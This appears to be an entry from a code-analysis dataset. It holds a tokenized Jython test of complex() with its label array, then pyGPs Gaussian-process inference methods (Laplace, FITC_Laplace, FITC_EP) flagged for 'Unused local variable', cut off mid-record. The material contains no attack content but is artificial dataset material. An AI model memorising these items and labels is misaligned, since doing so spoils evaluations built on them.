"\\u\\u\\uNL\\u\\u\\u_", "#", "FIX", "ME", ":", " ", "these", " ", "are", " ", "rais", "ing", " ", "wrong", " ", "error", "s", " ", "in", " ", "Jy", "tho", "n", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "self", ".", "assert", "Rai", "ses", "(", "Value", "Error", ",", " ", "complex", ",", " ", "\"", "1", "..", "1", "j", "\")", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "self", ".", "assert", "Rai", "ses", "(", "Value", "Error", ",", " ", "complex", ",", " ", "\"", "1.1", "1.1", "j", "\")", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "self", ".", "assert", "Rai", "ses", "(", "Value", "Error", ",", " ", "complex", ",", " ", "\"", "1e1", ".1", "j", "\")", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "FIX", "ME", ":", " ", "not", " ", "working", " ", "in", " ", "Jy", "tho", "n", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "if", " ", "test\\u", "support", ".", "have", "\\u", "unicode", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "#", " ", "check", " ", "tha", "t", " ", "complex", " ", "accepts", " ", "long", " ", "unicode", " ", "strings_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "self", ".", "assert", "Equal", "(", "type", "(", "complex", "(", "unicode", "(\"", "1", "\"*", "500", ")))", ",", " ", "complex", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Evi", "l", "Exc", "_", "(_", "Exception_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "evil", "complex_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u\\u", "complex", "\\u\\u_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Evi", "l", "Exc", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "Evi", "l", "Exc", "_", ",_", "complex_", ",_", "evil", "complex_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "float", "2_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "value_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "value_", "=_", "value_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "float", "\\u\\u_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "value_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "assert", "Al", "most", "Equal_", "(_", "complex_", "(_", "float", "2_", "(_", "42.", "_", ")_", ")_", ",_", "42_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Al", "most", "Equal_", "(_", "complex_", "(_", "real_", "=_", "float", "2_", "(_", "17.", "_", ")_", ",_", "imag_", "=_", "float", "2_", "(_", "23.", "_", ")_", ")_", ",_", "17_", "+_", "23", "j_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "Type", "Error_", ",_", "complex_", ",_", "float", "2_", "(_", "None_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "complex", "0_", "(_", "complex_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", " ", "usage", " ", "of", " ", "\\u\\u", "complex", "\\u\\u()", " ", "whe", "n", " ", "inherit", "ing", " ", "from", " ", "'", "complex", "'\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u\\u", "complex", "\\u\\u_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "4", "2j", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "complex", "1_", "(_", "complex_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", " ", "usage", " ", "of", " ", "\\u\\u", "complex", "\\u\\u()", " ", "with", " ", "a", " ", "\\u\\u", "new", "\\u\\u()", " ", "method", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u\\u", "new\\u\\u_", "(_", "self_", ",_", "value_", "=_", "0", "j_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "complex_", "._", "\\u\\u", "new\\u\\u_", "(_", "self_", ",_", "2_", "*_", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "complex", "\\u\\u_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "complex", "2_", "(_", "complex_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Make", " ", "sure", " ", "tha", "t", " ", "\\u\\u", "complex", "\\u\\u()", " ", "calls", " ", "fail", " ", "if", " ", "anyt", "hing", " ", "other", " ", "than", " ", "a", "\\", "10", ";", " ", " ", " ", " ", "complex", " ", "is", " ", "return", "ed", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u\\u", "complex", "\\u\\u_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "assert", "Al", "most", "Equal_", "(_", "complex_", "(_", "complex", "0_", "(_", "1j_", ")_", ")_", ",_", "4", "2j", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Al", "most", "Equal_", "(_", "complex_", "(_", "complex", "1_", "(_", "1j_", ")_", ")_", ",_", "2j", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "Type", "Error_", ",_", "complex_", ",_", "complex", "2_", "(_", "1j_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,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 2, 2 ]
Unused local variable
marionmari/pyGPs/pyGPs/Core/inf.py
[ { "content": " def evaluate(self, meanfunc, covfunc, likfunc, x, y, nargout=1):\n tol = 1e-6 # tolerance for when to stop the Newton iterations\n smax = 2; Nline = 20; thr = 1e-4 # line search parameters\n maxit = 20 # max number of Newton steps in f\n inffunc = self\n K = covfunc.getCovMatrix(x=x, mode='train') # evaluate the covariance matrix\n m = meanfunc.getMean(x) # evaluate the mean vector\n n, D = x.shape\n Psi_old = np.inf # make sure while loop starts by the largest old objective val\n if self.last_alpha is None: # find a good starting point for alpha and f\n alpha = np.zeros((n,1))\n f = np.dot(K,alpha) + m # start at mean if sizes not match\n vargout = likfunc.evaluate(y, f, None, inffunc, None, 3)\n lp = vargout[0]; dlp = vargout[1]; d2lp = vargout[2]\n W= -d2lp\n Psi_new = -lp.sum()\n else:\n alpha = self.last_alpha\n f = np.dot(K,alpha) + m # try last one\n vargout = likfunc.evaluate(y, f, None, inffunc, None, 3)\n lp = vargout[0]; dlp = vargout[1]; d2lp = vargout[2]\n W= -d2lp\n Psi_new = old_div(np.dot(alpha.T,(f-m)),2.) - lp.sum() # objective for last alpha\n vargout = - likfunc.evaluate(y, m, None, inffunc, None, 1)\n Psi_def = vargout[0] # objective for default init f==m\n if Psi_def < Psi_new: # if default is better, we use it\n alpha = np.zeros((n,1))\n f = np.dot(K,alpha) + m\n vargout = likfunc.evaluate(y, f, None, inffunc, None, 3)\n lp = vargout[0]; dlp = vargout[1]; d2lp = vargout[2]\n W=-d2lp; Psi_new = -lp.sum()\n isWneg = np.any(W<0) # flag indicating whether we found negative values of W\n it = 0 # this happens for the Student's t likelihood\n\n while (Psi_old - Psi_new > tol) and it<maxit: # begin Newton\n Psi_old = Psi_new; it += 1\n if isWneg: # stabilise the Newton direction in case W has negative values\n W = np.maximum(W,0) # stabilise the Hessian to guarantee postive definiteness\n tol = 1e-10 # increase accuracy to also get the derivatives right\n #sW = np.sqrt(W); L = np.linalg.cholesky(np.eye(n) + np.dot(sW,sW.T)*K).T\n sW = np.sqrt(W); L = jitchol(np.eye(n) + np.dot(sW,sW.T)*K).T\n b = W*(f-m) + dlp;\n dalpha = b - sW*solve_chol(L,sW*np.dot(K,b)) - alpha\n vargout = brentmin(0,smax,Nline,thr,self._Psi_line,4,dalpha,alpha,K,m,likfunc,y,inffunc)\n s = vargout[0]\n Psi_new = vargout[1]\n Nfun = vargout[2]\n alpha = vargout[3]\n f = vargout[4]\n dlp = vargout[5]\n W = vargout[6]\n isWneg = np.any(W<0)\n self.last_alpha = alpha # remember for next call\n vargout = likfunc.evaluate(y,f,None,inffunc,None,4)\n lp = vargout[0]; dlp = vargout[1]; d2lp = vargout[2]; d3lp = vargout[3]\n W = -d2lp; isWneg = np.any(W<0)\n post = postStruct()\n post.alpha = alpha # return the posterior parameters\n post.sW = np.sqrt(np.abs(W))*np.sign(W) # preserve sign in case of negative\n if isWneg:\n [ldA,iA,post.L] = self._logdetA(K,W,3)\n nlZ = old_div(np.dot(alpha.T,(f-m)),2.) - lp.sum() + old_div(ldA,2.)\n nlZ = nlZ[0]\n else:\n sW = post.sW\n #post.L = np.linalg.cholesky(np.eye(n)+np.dot(sW,sW.T)*K).T\n post.L = jitchol(np.eye(n)+np.dot(sW,sW.T)*K).T\n nlZ = old_div(np.dot(alpha.T,(f-m)),2.) + (np.log(np.diag(post.L))-np.reshape(lp,(lp.shape[0],))).sum()\n nlZ = nlZ[0]\n if nargout>2: # do we want derivatives?\n dnlZ = dnlZStruct(meanfunc, covfunc, likfunc) # allocate space for derivatives\n if isWneg: # switch between Cholesky and LU decomposition mode\n Z = -post.L # inv(K+inv(W))\n g = old_div(np.atleast_2d((iA*K).sum(axis=1)).T,2) # deriv. of ln|B| wrt W; g = diag(inv(inv(K)+diag(W)))/2\n else:\n Z = np.tile(sW,(1,n))*solve_chol(post.L,np.diag(np.reshape(sW,(sW.shape[0],)))) #sW*inv(B)*sW=inv(K+inv(W))\n C = np.linalg.solve(post.L.T,np.tile(sW,(1,n))*K) # deriv. of ln|B| wrt W\n g = old_div(np.atleast_2d((np.diag(K)-(C**2).sum(axis=0).T)).T,2.) # g = diag(inv(inv(K)+W))/2\n dfhat = g* d3lp # deriv. of nlZ wrt. fhat: dfhat=diag(inv(inv(K)+W)).*d3lp/2\n for ii in range(len(covfunc.hyp)): # covariance hypers\n dK = covfunc.getDerMatrix(x=x, mode='train', der=ii)\n dnlZ.cov[ii] = old_div((Z*dK).sum(),2.) - old_div(np.dot(alpha.T,np.dot(dK,alpha)),2.) # explicit part\n b = np.dot(dK,dlp) # b-K*(Z*b) = inv(eye(n)+K*diag(W))*b\n dnlZ.cov[ii] -= np.dot(dfhat.T,b-np.dot(K,np.dot(Z,b))) # implicit part\n dnlZ.cov[ii] = dnlZ.cov[ii][0,0]\n for ii in range(len(likfunc.hyp)): # likelihood hypers\n [lp_dhyp,dlp_dhyp,d2lp_dhyp] = likfunc.evaluate(y,f,None,inffunc,ii,3)\n dnlZ.lik[ii] = -np.dot(g.T,d2lp_dhyp) - lp_dhyp.sum() # explicit part\n b = np.dot(K,dlp_dhyp) # b-K*(Z*b) = inv(eye(n)+K*diag(W))*b\n dnlZ.lik[ii] -= np.dot(dfhat.T,b-np.dot(K,np.dot(Z,b))) # implicit part\n dnlZ.lik[ii] = dnlZ.lik[ii][0,0]\n for ii in range(len(meanfunc.hyp)): # mean hypers\n dm = meanfunc.getDerMatrix(x, ii)\n dnlZ.mean[ii] = -np.dot(alpha.T,dm) # explicit part\n dnlZ.mean[ii] -= np.dot(dfhat.T,dm-np.dot(K,np.dot(Z,dm))) # implicit part\n dnlZ.mean[ii] = dnlZ.mean[ii][0,0]\n return post,nlZ[0],dnlZ\n else:\n return post, nlZ[0]", "metadata": "root.Laplace.evaluate", "header": "['class', 'Laplace', '(', 'Inference', ')', ':', '___EOS___']", "index": 457 }, { "content": " def evaluate(self, meanfunc, covfunc, likfunc, x, y, nargout=1):\n if not isinstance(covfunc, cov.FITCOfKernel):\n raise Exception('Only covFITC supported.')\n tol = 1e-6 # tolerance for when to stop the Newton iterations\n smax = 2; Nline = 100; thr = 1e-4 # line search parameters\n maxit = 20 # max number of Newton steps in f\n inffunc = Laplace()\n diagK,Kuu,Ku = covfunc.getCovMatrix(x=x, mode='train') # evaluate the covariance matrix\n m = meanfunc.getMean(x) # evaluate the mean vector\n if likfunc.hyp: # hard coded inducing inputs noise\n sn2 = np.exp(2.*likfunc.hyp[-1])\n snu2 = 1.e-6*sn2 # similar to infFITC\n else:\n snu2 = 1.e-6\n\n n, D = x.shape\n nu = Kuu.shape[0]\n rot180 = lambda A: np.rot90(np.rot90(A)) # little helper functions\n #chol_inv = lambda A: np.linalg.solve( rot180( np.linalg.cholesky(rot180(A)) ),np.eye(nu)) # chol(inv(A))\n chol_inv = lambda A: rot180( np.linalg.solve(jitchol(rot180(A)), np.eye(nu)) ) # chol(inv(A))\n \n R0 = chol_inv(Kuu+snu2*np.eye(nu)) # initial R, used for refresh O(nu^3)\n V = np.dot(R0,Ku); d0 = diagK - np.array([(V*V).sum(axis=0)]).T # initial d, needed\n\n Psi_old = np.inf # make sure while loop starts by the largest old objective val\n if self.last_alpha is None: # find a good starting point for alpha and f\n alpha = np.zeros((n,1))\n f = self._mvmK(alpha,V,d0) + m # start at mean if sizes not match\n vargout = likfunc.evaluate(y, f, None, inffunc, None, 3)\n lp = vargout[0]; dlp = vargout[1]; d2lp = vargout[2]\n W=-d2lp; Psi_new = -lp.sum()\n else:\n alpha = self.last_alpha\n f = self._mvmK(alpha,V,d0) + m # try last one\n vargout = likfunc.evaluate(y, f, None, inffunc, None, 3)\n lp = vargout[0]; dlp = vargout[1]; d2lp = vargout[2]\n W=-d2lp\n Psi_new = old_div(np.dot(alpha.T,(f-m)),2.) - lp.sum() # objective for last alpha\n vargout = - likfunc.evaluate(y, m, None, inffunc, None, 1)\n Psi_def = vargout[0] # objective for default init f==m\n if Psi_def < Psi_new: # if default is better, we use it\n alpha = np.zeros((n,1))\n f = self._mvmK(alpha,V,d0) + m\n vargout = likfunc.evaluate(y, f, None, inffunc, None, 3)\n lp = vargout[0]; dlp = vargout[1]; d2lp = vargout[2]\n W=-d2lp; Psi_new = -lp.sum()\n\n isWneg = np.any(W<0) # flag indicating whether we found negative values of W\n it = 0 # this happens for the Student's t likelihood\n\n while (Psi_old - Psi_new > tol) and it<maxit: # begin Newton\n Psi_old = Psi_new\n it += 1\n if isWneg: # stabilise the Newton direction in case W has negative values\n W = np.maximum(W,0) # stabilise the Hessian to guarantee postive definiteness\n tol = 1e-8 # increase accuracy to also get the derivatives right\n b = W*(f-m) + dlp; dd = old_div(1,(1+W*d0))\n RV = np.dot( chol_inv( np.eye(nu) + np.dot(V*np.tile((W*dd).T,(nu,1)),V.T)),V )\n dalpha = dd*b - (W*dd)*np.dot(RV.T,np.dot(RV,(dd*b))) - alpha # Newt dir + line search\n vargout = brentmin(0,smax,Nline,thr,self._Psi_lineFITC,4,dalpha,alpha,V,d0,m,likfunc,y,inffunc)\n s = vargout[0]; Psi_new = vargout[1]; Nfun = vargout[2]; alpha = vargout[3]\n f = vargout[4]; dlp = vargout[5]; W = vargout[6]\n isWneg = np.any(W<0)\n\n self.last_alpha = alpha # remember for next call\n vargout = likfunc.evaluate(y,f,None,inffunc,None,4)\n lp = vargout[0]; dlp = vargout[1]; d2lp = vargout[2]; d3lp = vargout[3]\n\n W=-d2lp; isWneg = np.any(W<0)\n post = postStruct()\n post.alpha = np.dot(R0.T,np.dot(V,alpha)) # return the posterior parameters\n post.sW = np.sqrt(np.abs(W))*np.sign(W) # preserve sign in case of negative\n dd = old_div(1,(1+d0*W)) # temporary variable O(n)\n A = np.eye(nu) + np.dot(V*np.tile((W*dd).T,(nu,1)),V.T) # temporary variable O(n*nu^2)\n R0tV = np.dot(R0.T,V); B = R0tV*np.tile((W*dd).T,(nu,1)) # temporary variables O(n*nu^2)\n post.L = -np.dot(B,R0tV.T) # L = -R0'*V*inv(Kt+diag(1./ttau))*V'*R0, first part\n if np.any(1+d0*W<0):\n raise Exception('W is too negative; nlZ and dnlZ cannot be computed.')\n #nlZ = np.dot(alpha.T,(f-m))/2. - lp.sum() - np.log(dd).sum()/2. + \\\n # np.log(np.diag(np.linalg.cholesky(A).T)).sum()\n nlZ = old_div(np.dot(alpha.T,(f-m)),2.) - lp.sum() - old_div(np.log(dd).sum(),2.) + \\\n np.log(np.diag(jitchol(A).T)).sum()\n RV = np.dot(chol_inv(A),V)\n RVdd = RV * np.tile((W*dd).T,(nu,1)) # RVdd needed for dnlZ\n B = np.dot(B,RV.T)\n post.L += np.dot(B,B.T)\n\n if nargout>2: # do we want derivatives?\n dnlZ = dnlZStruct(meanfunc, covfunc, likfunc) # allocate space for derivatives\n [d,P,R] = self._fitcRefresh(d0,Ku,R0,V,W) # g = diag(inv(inv(K)+W))/2\n g = old_div(d,2) + 0.5*np.atleast_2d((np.dot(np.dot(R,R0),P)**2).sum(axis=0)).T\n t = old_div(W,(1+W*d0))\n\n dfhat = g*d3lp # deriv. of nlZ wrt. fhat: dfhat=diag(inv(inv(K)+W)).*d3lp/2\n for ii in range(len(covfunc.hyp)): # covariance hypers\n ddiagK,dKuu,dKu = covfunc.getDerMatrix(x=x, mode='train', der=ii) # eval cov derivatives\n dA = 2.*dKu.T-np.dot(R0tV.T,dKuu) # dQ = dA*R0tV\n w = np.atleast_2d((dA*R0tV.T).sum(axis=1)).T # w = diag(dQ)\n v = ddiagK-w # v = diag(dK)-diag(dQ);\n dnlZ.cov[ii] = np.dot(ddiagK.T,t) - np.dot((RVdd*RVdd).sum(axis=0),v) # explicit part\n dnlZ.cov[ii] -= (np.dot(RVdd,dA)*np.dot(RVdd,R0tV.T)).sum() # explicit part\n dnlZ.cov[ii] = 0.5*dnlZ.cov[ii] - old_div(np.dot(alpha.T,np.dot(dA,np.dot(R0tV,alpha))+v*alpha),2.) # explicit\n b = np.dot(dA,np.dot(R0tV,dlp)) + v*dlp # b-K*(Z*b) = inv(eye(n)+K*diag(W))*b\n KZb = self._mvmK(self._mvmZ(b,RVdd,t),V,d0)\n dnlZ.cov[ii] -= np.dot(dfhat.T,(b-KZb)) # implicit part\n dnlZ.cov[ii] = dnlZ.cov[ii][0,0]\n\n for ii in range(len(likfunc.hyp)): # likelihood hypers\n vargout = likfunc.evaluate(y,f,None,inffunc,ii,3)\n lp_dhyp = vargout[0]; dlp_dhyp = vargout[1]; d2lp_dhyp = vargout[2]\n dnlZ.lik[ii] = -np.dot(g.T,d2lp_dhyp) - lp_dhyp.sum() # explicit part\n b = self._mvmK(dlp_dhyp,V,d0) # implicit part\n dnlZ.lik[ii] -= np.dot(dfhat.T,b-self._mvmK(self._mvmZ(b,RVdd,t),V,d0))\n if ii == len(likfunc.hyp)-1:\n # since snu2 is a fixed fraction of sn2, there is a covariance-like term\n # in the derivative as well\n snu = np.sqrt(snu2);\n T = chol_inv(Kuu + snu2*np.eye(nu));\n T = np.dot(T.T,np.dot(T,snu*Ku));\n t = np.array([(T*T).sum(axis=0)]).T\n z = np.dot(alpha.T,np.dot(T.T,np.dot(T,alpha))-t*alpha) - np.dot(np.array([(RVdd*RVdd).sum(axis=0)]),t)\n z += (np.dot(RVdd,T.T)**2).sum()\n b = old_div((t*dlp-np.dot(T.T,np.dot(T,dlp))),2.)\n KZb = self._mvmK(self._mvmZ(b,RVdd,t),V,d0)\n z -= np.dot(dfhat.T,b-KZb)\n dnlZ.lik[ii] += z\n dnlZ.lik[ii] = dnlZ.lik[ii][0,0]\n\n for ii in range(len(meanfunc.hyp)): # mean hypers\n dm = meanfunc.getDerMatrix(x, ii)\n dnlZ.mean[ii] = -np.dot(alpha.T,dm) # explicit part\n Zdm = self._mvmZ(dm,RVdd,t)\n dnlZ.mean[ii] -= np.dot(dfhat.T,(dm-self._mvmK(Zdm,V,d0))) # implicit part\n dnlZ.mean[ii] = dnlZ.mean[ii][0,0]\n\n return post,nlZ[0,0],dnlZ\n else:\n return post, nlZ[0,0]", "metadata": "root.FITC_Laplace.evaluate", "header": "['class', 'FITC_Laplace', '(', 'Inference', ')', ':', '___EOS___']", "index": 573 }, { "content": " def evaluate(self, meanfunc, covfunc, likfunc, x, y, nargout=1):\n if not isinstance(covfunc, cov.FITCOfKernel):\n raise Exception('Only covFITC supported.') # check cov\n tol = 1e-4; max_sweep = 10; min_sweep = 2 # tolerance to stop EP iterations\n inffunc = EP()\n\n diagK,Kuu,Ku = covfunc.getCovMatrix(x=x, mode='train') # evaluate the covariance matrix\n m = meanfunc.getMean(x) # evaluate the mean vector\n\n if likfunc.hyp: # hard coded inducing inputs noise\n sn2 = np.exp(2.*likfunc.hyp[-1])\n snu2 = 1.e-6*sn2 # similar to infFITC\n else:\n snu2 = 1.e-6\n\n n, D = x.shape; nu = Kuu.shape[0]\n rot180 = lambda A: np.rot90(np.rot90(A)) # little helper functions\n #chol_inv = lambda A: np.linalg.solve( rot180( np.linalg.cholesky(rot180(A)) ),np.eye(nu)) # chol(inv(A))\n chol_inv = lambda A: rot180( np.linalg.solve(jitchol(rot180(A)), np.eye(nu)) ) # chol(inv(A))\n\n R0 = chol_inv(Kuu+snu2*np.eye(nu)) # initial R, used for refresh O(nu^3)\n V = np.dot(R0,Ku); d0 = diagK - np.array([(V*V).sum(axis=0)]).T # initial d, needed for refresh O(n*nu^2)\n\n # A note on naming: variables are given short but descriptive names in\n # accordance with Rasmussen & Williams \"GPs for Machine Learning\" (2006): mu\n # and s2 are mean and variance, nu and tau are natural parameters. A leading t\n # means tilde, a subscript _ni means \"not i\" (for cavity parameters), or _n\n # for a vector of cavity parameters.\n\n # marginal likelihood for ttau = tnu = zeros(n,1); equals n*log(2) for likCum*\n nlZ0 = -1.* likfunc.evaluate(y, m, np.reshape(diagK,(diagK.shape[0],1)), inffunc).sum()\n if self.last_ttau is None: # find starting point for tilde parameters\n ttau = np.zeros((n,1)) # initialize to zero if we have no better guess\n tnu = np.zeros((n,1))\n [d,P,R,nn,gg] = self._epfitcRefresh(d0,Ku,R0,V,ttau,tnu) # compute initial repres.\n nlZ = nlZ0\n else:\n ttau = self.last_ttau # try the tilde values from previous call\n tnu = self.last_tnu\n [d,P,R,nn,gg] = self._epfitcRefresh(d0,Ku,R0,V,ttau,tnu) # compute initial repres.\n nlZ = self._epfitcZ(d,P,R,nn,gg,ttau,tnu,d0,R0,Ku,y,likfunc,m,inffunc)[0]\n if nlZ > nlZ0: # if zero is better ..\n ttau = np.zeros((n,1)) # .. then initialize with zero instead\n tnu = np.zeros((n,1))\n [d,P,R,nn,gg] = self._epfitcRefresh(d0,Ku,R0,V,ttau,tnu) # initial repres.\n nlZ = nlZ0\n\n nlZ_old = np.inf; sweep = 0 # converged, max. sweeps or min. sweeps?\n while (np.abs(nlZ-nlZ_old) > tol and sweep < max_sweep) or (sweep < min_sweep):\n nlZ_old = nlZ\n sweep += 1\n rperm = list(range(n)) # randperm(n)\n for ii in rperm: # iterate EP updates (in random order) over examples\n p_i = np.reshape(P[:,ii],(P.shape[0],1))\n t = np.dot(R,np.dot(R0,p_i)) # temporary variables\n sigma_i = d[ii] + np.dot(t.T,t); mu_i = nn[ii] + np.dot(p_i.T,gg) # post moments O(nu^2)\n tau_ni = old_div(1,sigma_i) - ttau[ii] # first find the cavity distribution ..\n nu_ni = old_div(mu_i,sigma_i) + m[ii]*tau_ni - tnu[ii] # .. params tau_ni and nu_ni\n # compute the desired derivatives of the indivdual log partition function\n vargout = likfunc.evaluate(y[ii], old_div(nu_ni,tau_ni), old_div(1,tau_ni), inffunc, None, 3)\n lZ = vargout[0]; dlZ = vargout[1]; d2lZ = vargout[2]\n ttau_i = old_div(-d2lZ,(1.+old_div(d2lZ,tau_ni)))\n ttau_i = max(ttau_i,0) # enforce positivity i.e. lower bound ttau by zero\n tnu_i = old_div(( dlZ + (m[ii]-old_div(nu_ni,tau_ni))*d2lZ ),(1.+old_div(d2lZ,tau_ni)))\n [d,P[:,ii],R,nn,gg,ttau,tnu] = self._epfitcUpdate(d,P[:,ii],R,nn,gg,ttau,tnu,ii,ttau_i,tnu_i,m,d0,Ku,R0)# update representation\n\n # recompute since repeated rank-one updates can destroy numerical precision\n [d,P,R,nn,gg] = self._epfitcRefresh(d0,Ku,R0,V,ttau,tnu)\n [nlZ,nu_n,tau_n] = self._epfitcZ(d,P,R,nn,gg,ttau,tnu,d0,R0,Ku,y,likfunc,m,inffunc)\n if sweep == max_sweep:\n pass\n # print '[warning] maximum number of sweeps reached in function infEP'\n\n self.last_ttau = ttau\n self.last_tnu = tnu # remember for next call\n post = postStruct()\n post.sW = np.sqrt(ttau) # unused for FITC_EP prediction with gp.m\n dd = old_div(1,(d0+old_div(1,ttau)))\n alpha = tnu/ttau*dd\n RV = np.dot(R,V)\n R0tV = np.dot(R0.T,V)\n alpha = alpha - np.dot(RV.T,np.dot(RV,alpha))*dd # long alpha vector for ordinary infEP\n post.alpha = np.dot(R0tV,alpha) # alpha = R0'*V*inv(Kt+diag(1./ttau))*(tnu./ttau)\n B = R0tV*np.tile(dd.T,(nu,1)); L = np.dot(B,R0tV.T); B = np.dot(B,RV.T)\n post.L = np.dot(B,B.T) - L # L = -R0'*V*inv(Kt+diag(1./ttau))*V'*R0\n\n if nargout>2: # do we want derivatives?\n dnlZ = dnlZStruct(meanfunc, covfunc, likfunc) # allocate space for derivatives\n RVdd = RV*np.tile(dd.T,(nu,1))\n for ii in range(len(covfunc.hyp)):\n ddiagK,dKuu,dKu = covfunc.getDerMatrix(x=x, mode='train', der=ii)\n dA = 2*dKu.T - np.dot(R0tV.T,dKuu) # dQ = dA*R0tV\n w = np.atleast_2d((dA*R0tV.T).sum(axis=1)).T # w = diag(dQ)\n v = ddiagK - w # v = diag(dK)-diag(dQ)\n z = np.dot(dd.T,(v+w)) - np.dot(np.atleast_2d((RVdd*RVdd).sum(axis=0)), v) \\\n - (np.dot(RVdd,dA).T * np.dot(R0tV,RVdd.T)).sum()\n dnlZ.cov[ii] = old_div((z - np.dot(alpha.T,(alpha*v)) - np.dot(np.dot(alpha.T,dA),np.dot(R0tV,alpha))),2.)\n dnlZ.cov[ii] = dnlZ.cov[ii][0,0]\n for ii in range(len(likfunc.hyp)): # likelihood hypers\n dlik = likfunc.evaluate(y, old_div(nu_n,tau_n)+m, old_div(1,tau_n), inffunc, ii, 1)\n dnlZ.lik[ii] = -dlik.sum()\n if ii == len(likfunc.hyp)-1:\n # since snu2 is a fixed fraction of sn2, there is a covariance-like term\n # in the derivative as well\n v = np.atleast_2d((R0tV*R0tV).sum(axis=0)).T\n z = (np.dot(RVdd,R0tV.T)**2).sum() - np.dot(np.atleast_2d((RVdd*RVdd).sum(axis=0)),v)\n z = z + np.dot(post.alpha.T,post.alpha) - np.dot(alpha.T,(v*alpha))\n dnlZ.lik[ii] += snu2*z\n dnlZ.lik[ii] = dnlZ.lik[ii][0,0]\n [junk,dlZ] = likfunc.evaluate(y, old_div(nu_n,tau_n), old_div(1,tau_n), inffunc, None, 2) # mean hyps\n for ii in range(len(meanfunc.hyp)):\n dm = meanfunc.getDerMatrix(x, ii)\n dnlZ.mean[ii] = -np.dot(dlZ.T,dm)\n dnlZ.mean[ii] = dnlZ.mean[ii][0,0]\n\n return post, nlZ[0,0], dnlZ\n else:\n return post, nlZ[0,0]", "metadata": "root.FITC_EP.evaluate", "header": "['class', 